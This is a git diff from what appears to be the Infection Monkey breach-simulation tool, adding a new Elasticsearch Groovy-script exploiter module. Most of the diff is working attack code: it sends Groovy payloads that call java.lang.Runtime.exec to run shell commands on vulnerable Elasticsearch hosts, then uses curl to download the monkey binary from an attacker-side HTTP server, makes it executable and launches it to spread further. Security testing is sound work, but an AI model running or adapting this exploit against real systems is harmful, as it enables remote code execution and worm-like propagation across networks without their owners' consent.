diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py index b9d250cd8..1bdd41dd1 100644 --- a/chaos_monkey/config.py +++ b/chaos_monkey/config.py @@ -6,7 +6,7 @@ from abc import ABCMeta from itertools import product from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ - SambaCryExploiter + SambaCryExploiter, ElasticGroovyExploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger from network.range import FixedRange @@ -145,6 +145,7 @@ class Configuration(object): finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger] exploiter_classes = [SmbExploiter, WmiExploiter, RdpExploiter, Ms08_067_Exploiter, # Windows exploits SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux + ElasticGroovyExploiter, # multi ] # how many victims to look for in a single scan iteration diff --git a/chaos_monkey/example.conf b/chaos_monkey/example.conf index 3db576ad3..05a6e2aa8 100644 --- a/chaos_monkey/example.conf +++ b/chaos_monkey/example.conf @@ -33,7 +33,9 @@ "WmiExploiter", "RdpExploiter", "Ms08_067_Exploiter", - "ShellShockExploiter" + "ShellShockExploiter", + "ElasticGroovyExploiter", + "SambaCryExploiter", ], "finger_classes": [ "SSHFinger", diff --git a/chaos_monkey/exploit/__init__.py b/chaos_monkey/exploit/__init__.py index 1b12afd2f..a5b23ec1c 100644 --- a/chaos_monkey/exploit/__init__.py +++ b/chaos_monkey/exploit/__init__.py @@ -14,6 +14,7 @@ class HostExploiter(object): def exploit_host(self, host, depth=-1, src_path=None): raise NotImplementedError() + from win_ms08_067 import Ms08_067_Exploiter from wmiexec import WmiExploiter from smbexec import SmbExploiter @@ -21,3 +22,4 @@ from rdpgrinder import RdpExploiter from sshexec import SSHExploiter from shellshock import ShellShockExploiter from sambacry import SambaCryExploiter +from elasticgroovy import ElasticGroovyExploiter diff --git a/chaos_monkey/exploit/elasticgroovy.py b/chaos_monkey/exploit/elasticgroovy.py new file mode 100644 index 000000000..1e8e91b6d --- /dev/null +++ b/chaos_monkey/exploit/elasticgroovy.py @@ -0,0 +1,221 @@ +""" + Implementation is based on elastic search groovy exploit by metasploit + https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66/modules/exploits/multi/elasticsearch/search_groovy_script.rb +""" + +import json +import logging + +import requests + +from exploit import HostExploiter +from model import MONKEY_ARG +from model.host import VictimHost +from network.elasticfinger import ES_SERVICE, ES_PORT +from tools import get_target_monkey, HTTPTools, build_monkey_commandline + +__author__ = 'danielg' + +LOG = logging.getLogger(__name__) +TIMEOUT = 2 +DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder +VULNERABLE_VERSION = "1.4.2" + + +class ElasticGroovyExploiter(HostExploiter): + _target_os_type = ['linux', 'windows'] + BASE_URL = 'http://%s:%s/_search?pretty' + GENERIC_QUERY = '''{"size":1, "script_fields":{"monkey_result": {"script": "%s"}}}''' + JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")' + JAVA_GET_TMP_DIR = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")' + JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")' + JAVA_CMD = GENERIC_QUERY % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()""" + JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m' + + def __init__(self): + self._config = __import__('config').WormConfiguration + self.skip_exist = self._config.skip_exploit_if_file_exist + self.host = None + + def is_os_supported(self, host): + """ + Checks if the host is vulnerable. + Either using version string or by trying to attack + :param host: VictimHost + :return: + """ + if host.os.get('type') in self._target_os_type: + return True + + if ES_SERVICE not in host.services: + LOG.info("Host: %s doesn't have ES open" % host.ip_addr) + return False + major, minor, build = host.services[ES_SERVICE]['version'].split('.') + if major > 1: + return False + if major == 1 and minor > 4: + return False + if major == 1 and minor == 4 and build > 2: + return False + return self.is_vulnerable(host) + + def exploit_host(self, host, depth=-1, src_path=None): + assert isinstance(host, VictimHost) + self.host = host + + real_host_os = self.get_host_os() + host.os['type'] = str(real_host_os.lower()) # strip unicode characters + if 'linux' in host.os['type']: + return self.exploit_host_linux(host, depth, src_path) + else: + return self.exploit_host_windows(host, depth, src_path) + + def exploit_host_windows(self, host, depth=-1, src_path=None): + """ + TODO + Will exploit windows similar to smbexec + :param host: + :param depth: + :param src_path: + :return: + """ + return False + + def exploit_host_linux(self, host, depth=-1, src_path=None): + """ + Exploits linux using similar flow to sshexec and shellshock. + Meaning run remote commands to copy files over HTTP + :param host: + :param depth: + :param src_path: + :return: + """ + uname_machine = self.get_linux_arch() + if '' != uname_machine: + host.os['machine'] = str(uname_machine.lower().strip()) # strip unicode characters + dropper_target_path_linux = self._config.dropper_target_path_linux + if self.skip_exist and (self.check_if_remote_file_exists_linux(dropper_target_path_linux)): + LOG.info("Host %s was already infected under the current configuration, done" % host) + return True # return already infected + src_path = src_path or get_target_monkey(host) + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", host) + return False + + http_path, http_thread = HTTPTools.create_transfer(host, src_path) + + if not http_path: + LOG.debug("Exploiter %s failed, http transfer creation failed." % self.__name__) + return False + + download_command = '/usr/bin/curl %s -o %s' % ( + http_path, dropper_target_path_linux) + self.run_shell_command(download_command) + http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.stop() + if (http_thread.downloads != 1) or ( + 'ELF' not in + self.check_if_remote_file_exists_linux(dropper_target_path_linux)): + LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__) + return False + chmod = '/bin/chmod +x %s' % dropper_target_path_linux + self.run_shell_command(chmod) + cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG) + cmdline += build_monkey_commandline(host, depth - 1) + ' & ' + self.run_shell_command(cmdline) + LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", + self._config.dropper_target_path_linux, host, cmdline) + if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)): + LOG.info("Log file does not exist, monkey might not have run") + return True + + def check_if_remote_file_exists_linux(self, file_path): + """ + :param file_path: + :return: + """ + cmdline = '/usr/bin/head -c 4 %s' % file_path + return self.run_shell_command(cmdline) + + def run_shell_command(self, command): + """ + Runs a single shell command and returns the result. + :param command: + :return: + """ + payload = self.JAVA_CMD % command + return self.get_command_result(payload) + + def get_linux_arch(self): + """ + Returns host as per uname -m + :return: + """ + return self.get_command_result(self.JAVA_GET_BIT_LINUX) + + def get_host_tempdir(self): + """ + Returns where to write our file given our permissions + :return: Temp directory path in target host + """ + return self.get_command_result(self.JAVA_GET_TMP_DIR) + + def get_host_os(self): + """ + :return: target OS + """ + return self.get_command_result(self.JAVA_GET_OS) + + def is_vulnerable(self, host): + """ + Checks if a given elasticsearch host is vulnerable to the groovy attack + :param host: Host, with an open 9200 port + :return: True/False + """ + self.host = host + result_text = self.get_command_result(self.JAVA_IS_VULNERABLE) + return 'java.lang.Runtime' in result_text + + def get_command_result(self, payload): + """ + Gets the result of an attack payload with a single return value. + :param payload: Payload that fits the GENERIC_QUERY template. + :return: + """ + result = self.attack_query(payload) + if not result: # not vulnerable + return False + if 1 != len(result): # weird + return None + return result[0] + + @property + def attack_url(self): + """ + Composes the URL to attack per host IP and port. + :return: + """ + return self.BASE_URL % (self.host.ip_addr, ES_PORT) + + def attack_query(self, payload): + """ + Wraps the requests query and the JSON parsing. + Just reduce opportunity for bugs + :param payload: + :return: List of data fields or None + """ + response = requests.get(self.attack_url, data=payload) + result = self.get_results(response) + return result + + @staticmethod + def get_results(response): + """ + Extracts the result data from our attack + :return: List of data fields or None + """ + try: + json_resp = json.loads(response.text) + return json_resp['hits']['hits'][0]['fields']['monkey_result'] + except KeyError: + return None